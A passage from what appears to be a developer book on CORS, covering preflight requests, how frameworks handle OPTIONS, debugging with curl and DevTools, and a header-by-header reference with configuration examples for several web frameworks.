Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWxpY2UifQ.abc123
Content-Type: application/json
Content-Length: 27

{"name": "Alice Updated"}

This is the actual request with the actual body and the actual headers. The Origin header is still present — CORS headers appear on both the preflight and the actual request.

Step 5: The Server Responds to the Actual Request

HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://app.example.com
Vary: Origin
Content-Length: 52

{"id": 42, "name": "Alice Updated", "version": 3}

The actual response also includes Access-Control-Allow-Origin. The browser checks this again — even after a successful preflight, the actual response must also grant permission. The preflight confirms that the server accepts the request; the CORS header on the actual response confirms that the server wants the browser to expose the response to JavaScript.

The Full Trace, Visually

Browser                              Server
  │                                    │
  │  OPTIONS /users/42                 │
  │  Origin: https://app.example.com   │
  │  Access-Control-Request-Method:    │
  │    PUT                             │
  │  Access-Control-Request-Headers:   │
  │    authorization, content-type     │
  │──────────────────────────────────>│
  │                                    │
  │  204 No Content                    │
  │  Access-Control-Allow-Origin:      │
  │    https://app.example.com         │
  │  Access-Control-Allow-Methods:     │
  │    GET, POST, PUT, DELETE, OPTIONS │
  │  Access-Control-Allow-Headers:     │
  │    Authorization, Content-Type     │
  │  Access-Control-Max-Age: 86400     │
  │<──────────────────────────────────│
  │                                    │
  │  PUT /users/42                     │
  │  Origin: https://app.example.com   │
  │  Authorization: Bearer eyJ...      │
  │  Content-Type: application/json    │
  │  {"name": "Alice Updated"}         │
  │──────────────────────────────────>│
  │                                    │
  │  200 OK                            │
  │  Access-Control-Allow-Origin:      │
  │    https://app.example.com         │
  │  {"id": 42, "name": "..."}        │
  │<──────────────────────────────────│
  │                                    │

Two round trips. The OPTIONS, then the PUT. This is the cost of a preflight.

What Happens When the Preflight Fails

Let's say the server isn't configured for CORS at all. The preflight comes in, and the server responds:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

No Access-Control-Allow-Origin. No Access-Control-Allow-Methods. The browser's verdict: preflight failed. The actual PUT request is never sent.

This is the fundamental difference from a simple request failure:

Simple RequestPreflight Failure
Request sent?YesOnly the OPTIONS
Server processes request?YesOnly the OPTIONS
Side effects?PossibleNone from the actual request
Response visible to JS?NoNo

When a preflight fails, your console shows:

Access to fetch at 'https://api.example.com/users/42' from origin
'https://app.example.com' has been blocked by CORS policy:
Response to preflight request doesn't pass access control check:
No 'Access-Control-Allow-Origin' header is present on the
requested resource.

Note the key phrase: "Response to preflight request." That tells you it was the OPTIONS that failed, not your actual request. Your PUT never left the browser.

Partial Preflight Failures

Sometimes the preflight partially succeeds. The server might allow the origin but not the method:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type

The browser checks: "Is PUT in the allowed methods? No." Preflight fails. Error message:

Access to fetch at 'https://api.example.com/users/42' from origin
'https://app.example.com' has been blocked by CORS policy:
Method PUT is not allowed by Access-Control-Allow-Methods in
preflight response.

Or the method is allowed but a header isn't:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type

"Is authorization in the allowed headers? No." Preflight fails:

Access to fetch at 'https://api.example.com/users/42' from origin
'https://app.example.com' has been blocked by CORS policy:
Request header field authorization is not allowed by
Access-Control-Allow-Headers in preflight response.

These error messages are actually quite specific and helpful once you know what to look for. The browser is telling you exactly which check failed.

The Classic Mistake: Handling GET but Not OPTIONS

This one deserves its own section because I see it approximately once a week.

You write an Express route:

app.put('/users/:id', authenticate, (req, res) => {
  // Update the user
  res.json({ id: req.params.id, name: req.body.name });
});

You test it with curl:

curl -X PUT https://api.example.com/users/42 \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer mytoken" \
  -d '{"name": "Alice Updated"}'

# Works perfectly! 200 OK with the response body.

You deploy. Your frontend team reports that the endpoint is broken. The CORS error says the preflight failed.

The problem: your Express app has a handler for PUT /users/:id, but no handler for OPTIONS /users/:id. When the browser's preflight arrives, Express either returns a 404 (if no route matches OPTIONS at all) or a 405 Method Not Allowed — neither of which includes the CORS headers the browser needs.

The fix is to ensure your server handles OPTIONS for every route that needs CORS. In Express, the cors middleware does this automatically:

const cors = require('cors');
app.use(cors({
  origin: 'https://app.example.com',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Authorization', 'Content-Type']
}));

This middleware intercepts OPTIONS requests and responds with the appropriate CORS headers before your route handlers ever see the request. This is also the subject of Chapter 6.

Performance Implications

Every preflight is an extra HTTP round trip. For a user on a 100ms latency connection, that's 100ms added to every API call (at minimum — the OPTIONS request also needs server processing time).

For a single-page app that makes 10 API calls on page load, all using Authorization headers, that's 10 preflights. On a slow connection, that's noticeable.

Mitigation: Access-Control-Max-Age

The Access-Control-Max-Age response header tells the browser to cache the preflight result:

Access-Control-Max-Age: 86400

After the first preflight to a given URL, the browser won't send another for 24 hours (for the same origin, method, and headers combination). This turns 10 preflights into 1 on the first load and 0 on subsequent loads.

Browser limits on Max-Age:

  • Chrome: caps at 7200 seconds (2 hours), regardless of what the server says
  • Firefox: caps at 86400 seconds (24 hours)
  • Safari: caps at 604800 seconds (7 days)

So even if your server says Access-Control-Max-Age: 31536000 (one year), Chrome will still re-send the preflight after 2 hours. Set your Max-Age to something reasonable — 3600 (1 hour) or 86400 (24 hours) are common choices.

Mitigation: Reduce the Number of Unique URL Patterns

Preflight caching is per-URL. A preflight for GET /users/1 is cached separately from GET /users/2. In Chrome (as of recent versions), the cache is keyed on (origin, URL, request method, and each request header name) — so in practice, if all your API calls use the same set of headers, you get reasonable cache hit rates.

Mitigation: Use Simple Requests Where Possible

For truly public, read-only endpoints that don't need authentication, consider designing them to work as simple requests:

// No preflight: GET with no custom headers
fetch('https://api.example.com/public/data');

This isn't always possible — most APIs need authentication — but it's worth keeping in mind for public endpoints.

Seeing Preflights in DevTools

Open the Network tab in Chrome DevTools and trigger an API call that requires a preflight. You'll see two entries:

  1. An OPTIONS request to the same URL
  2. The actual request (PUT, DELETE, etc.) immediately after

If the preflight fails, you'll only see the OPTIONS request. The actual request never appears.

In Chrome, you can filter by method: type method:OPTIONS in the filter bar to see only preflights. This is especially useful when debugging a page that makes many API calls — you can quickly identify which calls are generating preflights and which are simple.

Firefox's DevTools show a small "preflight" badge on the OPTIONS request, making it easier to identify at a glance. Firefox also shows the CORS-related headers prominently in the response headers section.

# Quick debugging: simulate a preflight with curl
# If this returns the right Access-Control-* headers, your server is fine
curl -v -X OPTIONS https://api.example.com/users/42 \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization, content-type" \
  2>&1 | grep -i "access-control"

# Expected output:
# < Access-Control-Allow-Origin: https://app.example.com
# < Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
# < Access-Control-Allow-Headers: Authorization, Content-Type
# < Access-Control-Max-Age: 86400

If that curl command returns the expected headers, your server-side CORS configuration is correct and the problem is elsewhere (wrong origin, missing header in the allow list, etc.). If it returns no CORS headers, your server isn't handling the preflight, and it's time to look at your middleware configuration.

Summary

Preflights are the browser's way of asking permission before sending requests that couldn't have happened in the pre-CORS web. They add a round trip, but they protect legacy servers and give modern servers explicit control over what cross-origin requests they accept.

The sequence: OPTIONS with Access-Control-Request-* headers → server responds with Access-Control-Allow-* headers → browser sends the actual request. If any step fails, the actual request is never sent.

If you take one thing from this chapter: when your CORS error mentions "preflight," the problem is with your server's response to OPTIONS requests, not with your actual API endpoint. Fix the OPTIONS handler, and the rest will follow.

The OPTIONS Dance

We've established what happens during a preflight: the browser sends an OPTIONS request, the server responds with CORS headers, and the browser decides whether to proceed. Now let's get into the weeds of the OPTIONS method itself — what it actually is, how to handle it on the server, why so many frameworks get it wrong by default, and how to debug it when things go sideways.

OPTIONS Is Not a CORS Invention

The OPTIONS HTTP method predates CORS by over a decade. It's defined in RFC 7231, Section 4.3.7 as a general-purpose method for asking a server about the communication options available for a given resource. The original intent was introspection: "What methods does this endpoint support? What content types can you handle?"

OPTIONS /users HTTP/1.1
Host: api.example.com

A conforming server might respond:

HTTP/1.1 200 OK
Allow: GET, POST, OPTIONS
Content-Length: 0

The Allow header lists the methods this endpoint supports. That's the pre-CORS use of OPTIONS — simple capability discovery.

In practice, almost nobody used OPTIONS for this purpose. It was one of those parts of HTTP that existed on paper but rarely showed up in the wild. REST API documentation, Swagger/OpenAPI specs, and simple trial-and-error filled the gap that OPTIONS was supposed to address.

And then CORS came along and gave OPTIONS a second career.

In Practice, OPTIONS Means CORS

Let me be precise about this: technically, OPTIONS has a purpose beyond CORS. In reality, if you see an OPTIONS request in your server logs, there is approximately a 99% chance it's a CORS preflight. The remaining 1% is someone using a REST client's "discover capabilities" feature, or an HTTP compliance test suite, or someone who read the RFC and is actually using OPTIONS as intended (bless their heart).

This has an interesting side effect: many developers' first encounter with the OPTIONS method is a CORS error. They've never seen it before, they don't know what it does, and suddenly their server logs are full of mysterious OPTIONS requests that seem to come from nowhere. "I'm sending a PUT request. Why is my server getting an OPTIONS request?"

Now you know why.

Identifying a CORS Preflight vs. a Regular OPTIONS Request

How do you tell whether an OPTIONS request is a CORS preflight or a "regular" OPTIONS request? Check for these two request headers:

Access-Control-Request-Method: PUT
Access-Control-Request-Headers: authorization, content-type

If the OPTIONS request includes Access-Control-Request-Method, it's a CORS preflight. Period. This header is only added by browsers as part of the CORS protocol. Regular OPTIONS requests (the RFC 7231 kind) don't include it.

A comparison:

Regular OPTIONS request (rare):

OPTIONS /users HTTP/1.1
Host: api.example.com

CORS preflight (common):

OPTIONS /users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization

The presence of Origin, Access-Control-Request-Method, and optionally Access-Control-Request-Headers is the signature of a CORS preflight. In your server-side code, you can use this to distinguish the two cases — though in most applications, you'll just handle all OPTIONS requests the same way.

Why Frameworks Don't Handle OPTIONS by Default

Here's where things get annoying. Most web frameworks are designed around the idea that you define routes for the methods you want to handle:

// Express
app.get('/users', listUsers);
app.post('/users', createUser);
app.put('/users/:id', updateUser);
app.delete('/users/:id', deleteUser);
# Flask
@app.route('/users', methods=['GET', 'POST'])
def users():
    ...

@app.route('/users/<id>', methods=['PUT', 'DELETE'])
def user(id):
    ...
// Go net/http
mux.HandleFunc("GET /users", listUsers)
mux.HandleFunc("POST /users", createUser)
mux.HandleFunc("PUT /users/{id}", updateUser)
mux.HandleFunc("DELETE /users/{id}", deleteUser)

Notice what's missing? Nobody registered a handler for OPTIONS. And why would they? You're building an API, not writing a CORS middleware from scratch. But the browser doesn't care about your development workflow — it needs OPTIONS to be handled, with the right headers, for every route that receives cross-origin requests.

What happens when a preflight OPTIONS request hits a route with no OPTIONS handler depends on the framework:

FrameworkDefault behavior for unhandled OPTIONS
Express (Node.js)404 if no route matches; some versions auto-respond with Allow header
Koa (Node.js)405 Method Not Allowed
Flask (Python)405 Method Not Allowed
Django (Python)405 Method Not Allowed
Gin (Go)404 or 405, depending on configuration
Actix-web (Rust)405 Method Not Allowed
Spring Boot (Java)Depends on configuration; often 403
Ruby on Rails404 if no route matches
ASP.NET Core405 Method Not Allowed

In every case, the response won't include Access-Control-Allow-Origin or any of the other CORS headers. The preflight fails. Your actual request is never sent. You open a Stack Overflow tab.

The Express Example, In Detail

Let's walk through the most common version of this problem. You're building an API with Express:

const express = require('express');
const app = express();

app.use(express.json());

app.get('/api/users', (req, res) => {
  res.json([
    { id: 1, name: 'Alice' },
    { id: 2, name: 'Bob' }
  ]);
});

app.post('/api/users', (req, res) => {
  const user = { id: 3, name: req.body.name };
  res.status(201).json(user);
});

app.listen(3001, () => console.log('API running on port 3001'));

You test with curl:

# GET works
curl http://localhost:3001/api/users
# [{"id":1,"name":"Alice"},{"id":2,"name":"Bob"}]

# POST works
curl -X POST http://localhost:3001/api/users \
  -H "Content-Type: application/json" \
  -d '{"name": "Charlie"}'
# {"id":3,"name":"Charlie"}

Everything looks great. You deploy this to https://api.example.com and your frontend at https://app.example.com tries to use it:

// On https://app.example.com
const res = await fetch('https://api.example.com/api/users', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ name: 'Charlie' })
});

This fails. The Content-Type: application/json triggers a preflight. The browser sends OPTIONS /api/users. Express has no handler for OPTIONS /api/users. Express returns... well, it depends on the version and configuration, but it won't include CORS headers. The preflight fails.

Meanwhile, the GET request from a browser without custom headers might work as a simple request — but only if the server includes Access-Control-Allow-Origin in the GET response. Which it doesn't, because we haven't configured CORS at all. So everything fails.

The Fix: cors Middleware

npm install cors
const express = require('express');
const cors = require('cors');
const app = express();

app.use(cors({
  origin: 'https://app.example.com',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization']
}));

app.use(express.json());

// ... route handlers unchanged

The cors middleware does several things:

  1. For all requests: Adds Access-Control-Allow-Origin to every response
  2. For OPTIONS requests: Intercepts them, responds with all the Access-Control-Allow-* headers, and ends the response (your route handlers never see the OPTIONS request)
  3. Adds Vary: Origin to responses so caches behave correctly

You can verify it works:

# Simulate a preflight
curl -v -X OPTIONS https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: content-type"

# Expected response headers:
# Access-Control-Allow-Origin: https://app.example.com
# Access-Control-Allow-Methods: GET,POST,PUT,DELETE
# Access-Control-Allow-Headers: Content-Type,Authorization
# Access-Control-Max-Age: (some value, or absent)

The Manual Fix (No Middleware)

If you don't want a dependency, you can handle it yourself. This is educational even if you end up using the middleware:

app.use((req, res, next) => {
  // Set CORS headers for all responses
  res.setHeader('Access-Control-Allow-Origin', 'https://app.example.com');
  res.setHeader('Vary', 'Origin');

  // Handle preflight
  if (req.method === 'OPTIONS') {
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
    res.setHeader('Access-Control-Max-Age', '86400');
    res.status(204).end();
    return;
  }

  next();
});

This middleware runs before your route handlers. For OPTIONS requests, it responds immediately with the CORS headers and a 204 status. For all other requests, it adds the Access-Control-Allow-Origin header and passes control to the next middleware.

The 204 vs 200 Debate

You'll see both 204 No Content and 200 OK used for OPTIONS responses. Which is correct?

204 No Content is the more semantically accurate choice. An OPTIONS response to a preflight has no body — it's pure metadata in the headers. Status 204 means "the request succeeded and there's intentionally no content." The Fetch spec doesn't mandate a specific success status code; it just checks for a successful response (status 200-299) and the presence of the right headers.

200 OK works fine too. The browser doesn't care which 2xx status you use. Some developers prefer 200 because it's more familiar and some HTTP clients handle it more predictably.

What definitely doesn't work:

  • 301, 302, 307, 308 — Redirects. Some browsers follow them for preflights, others don't. Don't redirect preflights.
  • 401, 403 — Authentication errors. The preflight shouldn't require authentication. If your auth middleware runs before your CORS middleware and rejects the OPTIONS request because it has no Authorization header... that's a bug. The preflight asking to send an Authorization header cannot itself carry an Authorization header.
  • 404, 405 — Route not found or method not allowed. This is what you get when your framework doesn't handle OPTIONS.
# Quick test: what status does your server return for OPTIONS?
curl -o /dev/null -s -w "%{http_code}" -X OPTIONS \
  https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: content-type"

# 204 or 200 = good
# 404 or 405 = your server doesn't handle OPTIONS
# 401 or 403 = your auth middleware is intercepting the preflight

The 401/403 case deserves special attention because it's incredibly common. Your authentication middleware checks every request for a valid token. The preflight OPTIONS request doesn't have a token (it can't — that's the whole point of asking). The auth middleware rejects it. The preflight fails. You stare at your screen wondering why a request that works in Postman doesn't work in the browser.

The fix: make sure your CORS handling runs before your authentication middleware, and that it short-circuits OPTIONS requests before they hit the auth layer.

Why Your Server Logs Show Mysterious OPTIONS Requests

If you've enabled request logging on your API server, you'll start seeing entries like:

[2026-03-21T14:22:01Z] OPTIONS /api/users 204 0ms
[2026-03-21T14:22:01Z] POST /api/users 201 45ms
[2026-03-21T14:22:03Z] OPTIONS /api/users/42 204 0ms
[2026-03-21T14:22:03Z] PUT /api/users/42 200 32ms
[2026-03-21T14:22:05Z] OPTIONS /api/users/42 204 0ms
[2026-03-21T14:22:05Z] DELETE /api/users/42 200 28ms

Every "real" request is paired with an OPTIONS request. Your request volume effectively doubles (at least until preflight caching kicks in). This is normal. This is CORS working as designed. Some teams configure their logging to filter out or de-emphasize OPTIONS requests to reduce noise:

// Express logging middleware that skips OPTIONS
app.use((req, res, next) => {
  if (req.method !== 'OPTIONS') {
    console.log(`${req.method} ${req.path} - ${res.statusCode}`);
  }
  next();
});

Whether you should filter them from logs depends on your debugging needs. During development, seeing the OPTIONS requests helps you verify that CORS is configured correctly. In production, you might want to reduce log volume.

Seeing Preflights in Browser DevTools

Chrome

  1. Open DevTools (F12 or Cmd+Option+I on Mac)
  2. Go to the Network tab
  3. Trigger the action that makes the API call
  4. You'll see two requests for each preflight-requiring call

To make preflights easier to spot:

  • Right-click the column headers and enable Method if it's not already visible
  • In the filter bar, type method:OPTIONS to show only preflights
  • Or use the general filter to search by URL pattern to see both the OPTIONS and the actual request together

When you click on an OPTIONS request, the Headers tab shows:

  • Request Headers: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
  • Response Headers: Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers, Access-Control-Max-Age

If the preflight succeeded, you'll see the actual request immediately after the OPTIONS in the network log. If it failed, you'll see only the OPTIONS, and the Console tab will have the CORS error.

A subtle Chrome behavior: Chrome sometimes hides preflight requests in the Network tab by default. Look for a checkbox or filter labeled "Other" in the request type filters (XHR, JS, CSS, etc.). Preflights are classified as "Other" because they're not XHR/fetch requests from your code — they're browser-initiated.

Firefox

Firefox is a bit more developer-friendly for CORS debugging:

  1. Open DevTools (F12)
  2. Go to the Network tab
  3. Firefox labels preflight requests with a small "CORS" badge
  4. Click on a request, and the headers panel explicitly groups CORS-related headers together
  5. Firefox's Console messages often include a direct link to the relevant MDN documentation page

Firefox also provides a CORS filter in the Network tab's type filters, which is dedicated to showing only CORS-related requests. This is genuinely useful when debugging complex pages.

A Debugging Workflow

When a CORS error appears, here's the systematic approach:

# Step 1: Identify what the browser is trying to send
# Look at the Console error — it tells you the URL and often the issue

# Step 2: Simulate the preflight with curl
curl -v -X OPTIONS https://api.example.com/your/endpoint \
  -H "Origin: https://your-frontend.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: content-type, authorization"

# Step 3: Check the response headers
# Do you see Access-Control-Allow-Origin? Access-Control-Allow-Methods?
# If not, the server isn't handling the preflight

# Step 4: Check your server logs
# Did the OPTIONS request arrive? What status did it return?

# Step 5: Check middleware ordering
# Is CORS middleware running before auth middleware?
# Is CORS middleware running before your router?

Common Framework Configurations for Auto-Handling OPTIONS

Since "handle OPTIONS correctly" is a universal requirement for APIs that serve browsers, every serious framework has a solution. Here's a quick reference:

Express (Node.js)

const cors = require('cors');
app.use(cors({
  origin: 'https://app.example.com',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  maxAge: 86400
}));

Fastify (Node.js)

await fastify.register(require('@fastify/cors'), {
  origin: 'https://app.example.com',
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  maxAge: 86400
});

Flask (Python)

from flask_cors import CORS

app = Flask(__name__)
CORS(app, origins=['https://app.example.com'],
     methods=['GET', 'POST', 'PUT', 'DELETE'],
     allow_headers=['Content-Type', 'Authorization'],
     max_age=86400)

Django (Python)

# settings.py
INSTALLED_APPS = [
    ...
    'corsheaders',
]

MIDDLEWARE = [
    'corsheaders.middleware.CorsMiddleware',  # must be high in the list
    'django.middleware.common.CommonMiddleware',
    ...
]

CORS_ALLOWED_ORIGINS = ['https://app.example.com']
CORS_ALLOW_METHODS = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS']
CORS_ALLOW_HEADERS = ['content-type', 'authorization']
CORS_PREFLIGHT_MAX_AGE = 86400

Gin (Go)

import "github.com/gin-contrib/cors"

r := gin.Default()
r.Use(cors.New(cors.Config{
    AllowOrigins:     []string{"https://app.example.com"},
    AllowMethods:     []string{"GET", "POST", "PUT", "DELETE"},
    AllowHeaders:     []string{"Content-Type", "Authorization"},
    MaxAge:           24 * time.Hour,
}))

Actix-web (Rust)

#![allow(unused)]
fn main() {
use actix_cors::Cors;

let cors = Cors::default()
    .allowed_origin("https://app.example.com")
    .allowed_methods(vec!["GET", "POST", "PUT", "DELETE"])
    .allowed_headers(vec!["Content-Type", "Authorization"])
    .max_age(86400);

App::new()
    .wrap(cors)
    // ... routes
}

Spring Boot (Java)

@Configuration
public class CorsConfig implements WebMvcConfigurer {
    @Override
    public void addCorsMappings(CorsRegistry registry) {
        registry.addMapping("/api/**")
            .allowedOrigins("https://app.example.com")
            .allowedMethods("GET", "POST", "PUT", "DELETE")
            .allowedHeaders("Content-Type", "Authorization")
            .maxAge(86400);
    }
}

ASP.NET Core (C#)

builder.Services.AddCors(options =>
{
    options.AddPolicy("AllowFrontend", policy =>
    {
        policy.WithOrigins("https://app.example.com")
              .WithMethods("GET", "POST", "PUT", "DELETE")
              .WithHeaders("Content-Type", "Authorization")
              .SetPreflightMaxAge(TimeSpan.FromDays(1));
    });
});

// In the middleware pipeline (order matters!)
app.UseCors("AllowFrontend");

In every case, notice the pattern: the CORS middleware/configuration is applied globally and early in the middleware pipeline. It handles OPTIONS requests automatically, adds the right headers to all responses, and ensures that your route handlers don't need to know anything about CORS.

One More Thing: OPTIONS and Caching Proxies

If you have a reverse proxy or CDN in front of your API (Nginx, Cloudflare, AWS CloudFront, etc.), there's an additional wrinkle. The proxy might cache the OPTIONS response and serve it to all clients, regardless of origin. This is why Vary: Origin matters — it tells the cache that different origins may get different responses.

Without Vary: Origin:

  1. Browser A (origin https://app-a.com) sends a preflight
  2. Server responds with Access-Control-Allow-Origin: https://app-a.com
  3. CDN caches this response
  4. Browser B (origin https://app-b.com) sends a preflight
  5. CDN serves the cached response: Access-Control-Allow-Origin: https://app-a.com
  6. Browser B's preflight fails because the origin doesn't match

With Vary: Origin, the CDN knows to cache separate responses for each unique Origin header value. Most CORS middleware libraries include Vary: Origin automatically, but if you're configuring CORS at the proxy level (Nginx, for example), you'll need to add it yourself.

Summary

The OPTIONS method is the mechanism that makes CORS preflights work. It's an HTTP method that predates CORS but found its true calling as the preflight request type. The key points:

  • OPTIONS + Access-Control-Request-Method = CORS preflight. If you see both, it's CORS.
  • Your server must handle OPTIONS for every route that receives cross-origin requests. Use framework middleware to do this automatically.
  • CORS middleware must run before auth middleware. A preflight cannot carry credentials. If auth rejects the OPTIONS, CORS fails.
  • Respond to preflights with 204 or 200, appropriate headers, and no body.
  • Include Vary: Origin to keep caches honest.
  • Use DevTools to inspect preflights. The Network tab shows the OPTIONS/actual request pair. The Console shows specific error messages about what went wrong.

If your OPTIONS handling is correct, everything else in CORS becomes straightforward. If it's wrong, nothing else matters. Get the OPTIONS dance right first.

Every CORS Header Explained

You've seen bits and pieces of these headers scattered across earlier chapters. Now we're going to lay every single one of them out on the table, examine them under bright light, and make sure there are no surprises left. Consider this your reference chapter — the one you come back to when something doesn't work and you need to know exactly what a header does, what values it accepts, and what happens when you get it wrong.

There are exactly three request headers and seven response headers that make up the CORS protocol. Ten headers. That's it. The entire mechanism that governs cross-origin access on the web fits on an index card. And yet, somehow, it generates more Stack Overflow questions than most people's entire frameworks.

Let's fix that.


Request Headers

These headers are set by the browser automatically. You don't set them yourself in JavaScript — the browser adds them to cross-origin requests. If you try to set them manually with fetch() or XMLHttpRequest, the browser will either ignore you or override your values.

Origin

What it does: Tells the server where the request came from. It contains the scheme, host, and port of the page that initiated the request — nothing more.

Format:

Origin: <scheme>://<host>[:<port>]

Examples:

Origin: https://app.example.com
Origin: http://localhost:3000
Origin: https://app.example.com:8443

When it's sent:

  • On every cross-origin request (both simple and preflighted)
  • On same-origin requests that use POST, PUT, PATCH, or DELETE
  • NOT on same-origin GET or HEAD requests (usually)
  • NOT on navigation requests (clicking a link, entering a URL)

What it does NOT include: No path, no query string, no fragment. The browser deliberately strips these for privacy. The server gets https://app.example.com, never https://app.example.com/users/12345/secret-page?token=abc.

Common mistakes:

  1. Comparing Origin with a trailing slash. The Origin header never has a trailing slash. If your server checks origin === "https://example.com/", it will fail every time. The value is always https://example.com — no slash.

  2. Assuming Origin is always present. Some requests don't carry an Origin header at all. Server-to-server requests, curl commands, and certain same-origin requests won't have one. Your server-side CORS logic should handle the absence gracefully.

  3. Treating Origin as trustworthy for security. The Origin header can be trivially spoofed by non-browser clients. CORS is a browser-enforced mechanism, not a server-enforced firewall. Anyone with curl can send whatever Origin they want:

curl -H "Origin: https://definitely-not-real.com" https://api.example.com/data

The server will happily respond. CORS only protects users in browsers.


Access-Control-Request-Method

What it does: Sent in preflight (OPTIONS) requests only. Tells the server which HTTP method the actual request will use.

Format:

Access-Control-Request-Method: <method>

Example preflight for a DELETE request:

OPTIONS /api/users/42 HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: DELETE

Key details:

  • This header is singular — it contains exactly one method, even if your application might use multiple methods against the same endpoint.
  • It only appears in preflight requests, never in the actual request.
  • Simple methods (GET, HEAD, POST) can still appear here if other aspects of the request trigger a preflight (like a custom header).

Common mistake: Forgetting that your server's OPTIONS handler needs to actually read this header and respond appropriately. Many developers set up a blanket OPTIONS response without checking what method is being requested. This usually works — until it doesn't.


Access-Control-Request-Headers

What it does: Sent in preflight requests. Lists the non-simple headers that the actual request will include.

Format:

Access-Control-Request-Headers: <header>[, <header>]*

Example:

OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization, X-Request-ID

Key details:

  • Header names are case-insensitive and comma-separated.
  • Only non-simple headers appear here. The browser won't list Accept or Accept-Language because those are always allowed.
  • Content-Type appears here when its value is something other than application/x-www-form-urlencoded, multipart/form-data, or text/plain. So Content-Type: application/json triggers it. This is the single most common reason people encounter preflight requests.

Common mistake: Your API requires an Authorization header, but your CORS configuration doesn't include it in the allowed headers list. The preflight fails, the actual request never fires, and you see a CORS error that says nothing about Authorization. You stare at your Access-Control-Allow-Origin header for an hour before realizing the problem is in a completely different header.

We've all been there.


Response Headers

These are the headers your server sends back. Getting them right is your job.

Access-Control-Allow-Origin

What it does: The most important CORS response header. Tells the browser whether the requesting origin is allowed to read the response.

Valid values:

ValueMeaning
*Any origin can read this response
https://app.example.comOnly this specific origin
nullDon't use this. Seriously.

Example response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json

{"users": [...]}

The wildcard *:

The wildcard means "any origin." It's perfectly appropriate for truly public APIs and resources. But it comes with restrictions:

  • You cannot use * when the request includes credentials (cookies, HTTP auth). The browser will reject the response. This is not configurable.
  • The wildcard is literal — it's the character *, not a glob pattern. You can't write *.example.com. That's not a thing. There is no subdomain wildcard in CORS.

Dynamic origin reflection:

Since you can only return one specific origin (or *), servers that need to allow multiple origins typically:

  1. Read the Origin request header
  2. Check it against an allowlist
  3. Echo it back in Access-Control-Allow-Origin
ALLOWED_ORIGINS = {
    "https://app.example.com",
    "https://staging.example.com",
    "http://localhost:3000",
}

def add_cors_headers(request, response):
    origin = request.headers.get("Origin")
    if origin in ALLOWED_ORIGINS:
        response.headers["Access-Control-Allow-Origin"] = origin
        response.headers["Vary"] = "Origin"  # CRITICAL - explained below

The null origin:

Some requests have an Origin of null — sandboxed iframes, file:// URLs, redirected requests. Never set Access-Control-Allow-Origin: null, because any page in a sandboxed iframe would match. It's the CORS equivalent of leaving your front door open and putting a sign that says "knock first."

Common mistakes:

  1. Returning multiple origins. Access-Control-Allow-Origin: https://a.com, https://b.com is not valid. The header takes exactly one value.

  2. Reflecting the origin without validation. If your server blindly echoes back whatever Origin header it receives, congratulations — you've effectively set it to * but with extra steps, and you've probably also broken credential-based restrictions.

  3. Using a regex that's too loose. Checking origin.endsWith("example.com") also matches evil-example.com. Always anchor your patterns.


Access-Control-Allow-Methods

What it does: Returned in preflight responses. Lists the HTTP methods the server allows for cross-origin requests.

Format:

Access-Control-Allow-Methods: <method>[, <method>]*

Example:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH

Key details:

  • This header only matters in preflight responses. The browser checks it against the Access-Control-Request-Method from the preflight request.
  • Listing a method here doesn't mean your endpoint actually supports it — that's still up to your router. This header just tells the browser it's allowed to try.
  • The wildcard * is allowed (when credentials are not involved), and it means all methods. But many developers prefer listing methods explicitly for clarity.

Common mistake: Forgetting to include the actual method. Your API supports PATCH, your route handles PATCH, but your CORS middleware only allows GET, POST, PUT, DELETE. The preflight fails. The error message says "CORS" and you spend 30 minutes looking at Allow-Origin before checking the methods list.


Access-Control-Allow-Headers

What it does: Returned in preflight responses. Lists the request headers the server will accept on cross-origin requests.

Format:

Access-Control-Allow-Headers: <header>[, <header>]*

Example:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type, Authorization, X-Request-ID

Key details:

  • Header names are case-insensitive.
  • The wildcard * works (without credentials) and allows any header name.
  • CORS-safelisted headers (Accept, Accept-Language, Content-Language, Content-Type with simple values) don't need to be listed, but listing them doesn't hurt.

